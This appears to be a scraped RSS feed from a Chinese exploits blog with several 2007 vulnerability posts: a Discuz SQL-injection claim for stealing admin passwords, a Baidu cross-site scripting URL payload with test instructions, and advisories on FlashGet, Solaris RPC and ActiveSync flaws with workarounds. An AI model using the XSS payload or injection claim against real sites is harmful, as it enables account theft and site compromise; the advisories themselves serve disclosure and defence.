http://www.discuz.net/member.php?action=list_UserNumber=1402257EE8F

不然不能进行注射。

文件漏洞代码如下

以下是代码片段：define(‘__SYSTEM_ROOT’, ”);
include dirname(__FILE__).’/framework_gb/framework.php’;

using(‘System.Data.Data’);
using(‘System.Data.Plugins.Option’);
using(‘System.Page.Page’);
using(‘System.Smarty.Smarty’);
using(‘System.Functions.Functions’);

require_once __SYSTEM_ROOT.”global.php”;
require_once __SYSTEM_ROOT.”vars.php”;

$db=new stdClass();

$db=$Data->getDB();
/*

echo ‘

';print_r($Data);

*/

?>

可以直接注射,拿到后台密码。

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/discuz-600-0day-2-198/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/discuz-600-0day-2-198/feed/ 0 百度跨站漏洞：当前日期(date): 2007-11-24 星期六 http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/ http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/#comments Sat, 24 Nov 2007 08:45:28 +0000 白菜林 http://wz.mygogou.com/exploits/baidu-inter-station-loopholes-2007-11-24-196.shtml 百度跨站漏洞，小漏洞，大危害！
影响版本：
当前日期(date): 2007-11-24 星期六
此漏洞属于跨站漏洞，希望大家不要利用此漏洞去挂马！

直接复制下面的地址到IE浏览器中去看效果吧：(实验时自行去掉中间的空格)
http://www.baidu.com/index.php?tn=”>http://www.baidu.com/index.php?tn=”>< script>alert(/wiki.mygogou.com/)< /script>

把这段代码中间的网址修改成我们的首页地址：
http://www.baidu.com/index.php?tn=”>http://wiki.mygogou.com=”>< script>alert(/wiki.mygogou.com/)< /script>

wiki地址：http://wiki.mygogou.com/doc-view-744.html 

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/baidu-inter-station-loopholes-2007-11-24-196/feed/ 0 网际快车（FlashGet）0day漏洞 http://clin003.com/exploits/flashget-0day-50/ http://clin003.com/exploits/flashget-0day-50/#comments Mon, 22 Oct 2007 04:50:34 +0000 白菜林 http://wz.mygogou.com/exploits/flashget-0day/ Continue reading →]]> 一、事件分析：

今日，超级巡警团队监测到多个FlashGet拒绝服务漏洞被曝光，该漏洞发生在FlashGet的一个activex控件上，当安装了FlashGet的用户在浏览黑客精心构造的包含恶意代码的网页后，会导致用户浏览器崩溃。利用此漏洞的代码已在互联网上现身。

影响版本：FlashGet 1.9.6.1073

构造的漏洞利用网页截图：
网际快车（FlashGet）0day漏洞
触发此漏洞后的截图

网际快车（FlashGet）0day漏洞

二、解决方案
1、在网际快车官方发布补丁之前请暂时卸载网际快车，或者使用临时解决方案，将下面内容保存为.reg文件，双击导入注册表：
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{FB5DA724-162B-11D3-8B9B-AA70B4B0B524}]
“Compatibility Flags”=dword:00000400
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
2、推荐安装超级巡警监测查杀木马。
3、请广大用户及时使用超级巡警的补丁检查功能，检查并安装系统补丁，预防更多的漏洞攻击。

注：此漏洞已通知网际快车官方，请关注官方升级解决方案。

关于网际快车（引自官方）：全球最多人使用的下载工具。

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/flashget-0day-50/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/flashget-0day-50/feed/ 0 Sun Solaris RPC 服务库 librpcsvc 拒绝服务漏洞 http://clin003.com/exploits/security-vulnerability-in-the-solaris-rpc-services-library-48/ http://clin003.com/exploits/security-vulnerability-in-the-solaris-rpc-services-library-48/#comments Mon, 22 Oct 2007 04:24:44 +0000 白菜林 http://wz.mygogou.com/exploits/security-vulnerability-in-the-solaris-rpc-services-library/ Continue reading →]]> Sun Solaris RPC 服务库 librpcsvc 拒绝服务漏洞

受影响系统：
Sun Solaris 9.0_x86
Sun Solaris 9.0
Sun Solaris 8.0_x86
Sun Solaris 8.0
Sun Solaris 10_x86
Sun Solaris 10.0

描述：

BUGTRAQ  ID: 26071

Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。

如果用户调用了automountd(1M)服务去访问导出了大量文件系统的远程NFS服务器的话，Solaris RPC服务库（librpcsvc(3LIB)）中的安全漏洞可能允许本地非特权用户在系统上导致automountd(1M)守护程序崩溃。如果这个漏洞被利用，则用户可能看到访问autofs(4)加载点的进程变得没有响应并挂起。在Solaris 8、Solaris 9和Solaris 10系统上，控制台会打印且syslogd(1M)守护程序会记录类似于以下的消息：

Sep  7 08:50:20 client1 autofs: automountd not running, retrying

在Solaris 10系统上，控制台还会打印且syslogd(1M)守护程序也会记录类似于以下的消息：

Sep 12 02:04:12 client1 svc.startd[7]: system/filesystem/autofs:default
failed repeatedly: transitioned to maintenance (see ‘svcs -xv’ for details)

automountd(1M)服务会崩溃，栈追踪类似于以下：

ff2a31ac xdr_reference (b1bd4, 144ea8, c, ff384898, 81010100, ff00) + 84
ff299418 xdr_pointer (b1bd4, 144ea8, c, ff384898, 0, 0) + 5c
ff384880 xdr_exports (b1bd4, 144ea8, 0, 0, 0, 1235b7) + 20
ff3848e0 xdr_exportnode (b1bd4, 144ea0, ffffffff, 0, 0, 0) + 48

这个漏洞还允许远程非特权用户在导出大量文件系统的NFS服务器上导致mountd(1M)服务崩溃，导致无法访问NFS客户端上的NFS共享。如果第二个漏洞被利用导致mountd(1M)拒绝服务的话，会观察到mountd(1M)服务可能会崩溃，栈追踪如下：

ff2a31ac xdr_reference (b1bd4, 144ea8, c, ff384898, 81010100, ff00) + 84
ff299418 xdr_pointer (b1bd4, 144ea8, c, ff384898, 0, 0) + 5c
ff384880 xdr_exports (b1bd4, 144ea8, 0, 0, 0, 1235b7) + 20
ff3848e0 xdr_exportnode (b1bd4, 144ea0, ffffffff, 0, 0, 0) + 48

或者：

ff2a2b34 xdr_reference (ac92c, 13126c, 8, ff38481c, 81010100, ff00) + 84
ff298dcc xdr_pointer (ac92c, 13126c, 8, ff38481c, 0, 0) + 5c
ff384804 xdr_groups (ac92c, 13126c, 0, 0, 6d, 9632c) + 20
ff384848 xdr_groupnode (ac92c, 131268, ffffffff, 0, 0, 0) + 2c

建议：

临时解决方法：

automountd(1M)漏洞：

在可以应用补丁之前，可通过删除或标注出/etc/auto_master文件中的-hosts项并重启automountd(1M)服务来临时解决automountd(1M)崩溃漏洞。

在Solaris 8和Solaris 9系统上以root用户运行以下命令重启automountd(1M)服务：

# /etc/init.d/autofs start

在Solaris 10系统上以root用户运行以下命令重启automountd(1M)服务：

# svcadm restart svc:/system/filesystem/autofs

如果svc:/system/filesystem/autofs处在维护状态的话，使用以下命令：

# svcadm clear svc:/system/filesystem/autofs
# svcadm enable svc:/system/filesystem/autofs

更改之后，必须使用automount(1M)工具卸载/net目录中的所有加载点。如果automount(1M)工具无法卸载/net目录中的任意加载点的话，则修改/etc/auto_master文件后必须重启系统。

mountd(1M)漏洞：

如果要临时解决非特权用户在远程NFS服务器上导致mountd(1M)服务崩溃的漏洞，可减少远程NFS服务器上共享文件系统的数目并重启该NFS服务器上的NFS服务。

如果要减少共享文件系统的数目，查看/etc/dfs/sharetab检查导出的文件系统并删除或标注/etc/dfs/dfstab中的项。

在Solaris 8和Solaris 9系统上以root用户运行以下命令重启NFS服务：

# /etc/init.d/nfs.server stop
# /etc/init.d/nfs.server start

在Solaris 10系统上以root用户运行以下命令重启NFS服务：

# svcadm restart svc:/network/nfs/server:default

厂商补丁：

Sun已经为此发布了一个安全公告（Sun-Alert-103082）以及相应补丁:
Sun-Alert-103082： Security Vulnerability in the Solaris RPC Services Library (librpcsvc(3LIB)) may Lead to a Denial of Service (DoS) Against Networked File Systems
链接：http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-103082-1

Related posts:

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/security-vulnerability-in-the-solaris-rpc-services-library-48/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/security-vulnerability-in-the-solaris-rpc-services-library-48/feed/ 0 微软 ActiveSync程序存在弱口令混淆信息泄露漏洞 http://clin003.com/exploits/activesync-loophole-24/ http://clin003.com/exploits/activesync-loophole-24/#comments Sun, 21 Oct 2007 05:16:51 +0000 白菜林 http://wz.mygogou.com/%e5%be%ae%e8%bd%af-activesync%e7%a8%8b%e5%ba%8f%e5%ad%98%e5%9c%a8%e5%bc%b1%e5%8f%a3%e4%bb%a4%e6%b7%b7%e6%b7%86%e4%bf%a1%e6%81%af%e6%b3%84%e9%9c%b2%e6%bc%8f%e6%b4%9e/ Continue reading →]]> 受影响系统：
Microsoft ActiveSync 4.1
Microsoft Windows Mobile 5.0
不受影响系统：
Microsoft Windows Mobile 6.0

描述：

BUGTRAQ ID: 25976
CVE(CAN) ID: CVE-2007-5460

Microsoft ActiveSync是用于同步计算机与PDA的应用程序。

ActiveSync设备建立连接口令交换的过程实现上存在漏洞，攻击者可能利用此漏洞获取口令信息。

插 入到USB口时设备会使用类似于标准网络接口的连接，获得IP地址后设备会通过RAPI在990/TCP端口初始化与主机的通讯，这个过程也会经历一个小 型的握手例程，如果合适的话，会对主机挑战设备PIN或口令。用户提供了主机的PIN/口令后，会通过XOR与E9固定密钥进行混淆，然后通过USB网络 连接发送给设备进行验证。

这个过程会产生两个漏洞。首先，如果攻击者能够嗅探主机的网络连接的话，就可以恢复PIN/口令；其次，攻击者可以欺骗USB设备的插入过程诱骗用户提供PIN/口令。

以下面的报文为例：

0000 82 00 60 0f e8 00 80 00 60 0f e8 00 08 00 45 00 ..`….. `…..E.
0010 00 32 59 95 40 00 80 06 49 31 a9 fe 02 02 a9 fe .2Y.@… I1……
0020 02 01 03 de 05 d0 e8 c0 cb c0 56 2e 41 75 50 18 …….. ..V.AuP.
0030 fa 6a 91 dd 00 00 08 00 d8 e9 db e9 da e9 dd e9 .j…… ……..

36字节处为口令长度（8个字节），之后为空，然后为与E9混淆的口令。由于对口令使用了UNICODE字符串，因此每第二个字节都为0×00 XOR 0xE9等于0xE9。

厂商补丁：

Microsoft

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.microsoft.com/technet/security/

Copyright © 2007-2010
This feed is building by Lin's Space|Only .
本文地址：http://clin003.com/exploits/activesync-loophole-24/
雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]> http://clin003.com/exploits/activesync-loophole-24/feed/ 0